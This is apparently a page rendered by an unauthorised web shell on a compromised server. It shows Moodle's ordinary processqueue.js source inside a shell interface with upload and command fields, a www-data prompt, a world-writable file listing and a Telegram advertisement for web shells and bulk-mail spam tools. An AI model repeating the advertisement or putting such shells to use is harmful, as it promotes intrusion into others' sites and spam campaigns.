__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

import {debounce} from 'core/utils';
import {LoadingProcess} from 'core/local/process_monitor/loadingprocess';
import log from 'core/log';

const TOASTSTIMER = 3000;

/**
 * A process queue manager.
 *
 * Adding process to the queue will guarante process are executed in sequence.
 *
 * @module     core/local/process_monitor/processqueue
 * @class      ProcessQueue
 * @copyright  2022 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
export class ProcessQueue {
    /** @var {Array} pending the pending queue. */
    pending = [];

    /** @var {LoadingProcess} current the current uploading process. */
    currentProcess = null;

    /**
     * Class constructor.
     * @param {ProcessMonitorManager} manager the monitor manager
     */
    constructor(manager) {
        this.manager = manager;
        this.cleanFinishedProcesses = debounce(
            () => manager.dispatch('cleanFinishedProcesses'),
            TOASTSTIMER
        );
    }

    /**
     * Adds a new pending upload to the queue.
     * @param {String} processName the process name
     * @param {Function} processor the execution function
     */
    addPending(processName, processor) {
        const process = new LoadingProcess(this.manager, {name: processName});
        process.setExtraData({
            processor,
        });
        process.onFinish((uploadedFile) => {
            if (this.currentProcess?.id !== uploadedFile.id) {
                return;
            }
            this._discardCurrent();
        });
        this.pending.push(process);
        this._continueProcessing();
    }

    /**
     * Adds a new pending upload to the queue.
     * @param {String} processName the file info
     * @param {String} errorMessage the file processor
     */
    addError(processName, errorMessage) {
        const process = new LoadingProcess(this.manager, {name: processName});
        process.setError(errorMessage);
    }

    /**
     * Discard the current process and execute the next one if any.
     */
    _discardCurrent() {
        if (this.currentProcess) {
            this.currentProcess = null;
        }
        this.cleanFinishedProcesses();
        this._continueProcessing();
    }

    /**
     * Return the current file uploader.
     * @return {FileUploader}
     */
    _currentProcessor() {
        return this.currentProcess.data.processor;
    }

    /**
     * Continue the queue processing if no current process is defined.
     */
    async _continueProcessing() {
        if (this.currentProcess !== null || this.pending.length === 0) {
            return;
        }
        this.currentProcess = this.pending.shift();
        try {
            const processor = this._currentProcessor();
            await processor(this.currentProcess);
        } catch (error) {
            this.currentProcess.setError(error.message);
            log.error(error);
        }
    }
}

Filemanager

Name Type Size Permission Actions
events.js File 1.86 KB 0777
loadingprocess.js File 5.6 KB 0777
manager.js File 5.37 KB 0777
monitor.js File 3.59 KB 0777
process.js File 3.58 KB 0777
processqueue.js File 3.55 KB 0777
Filemanager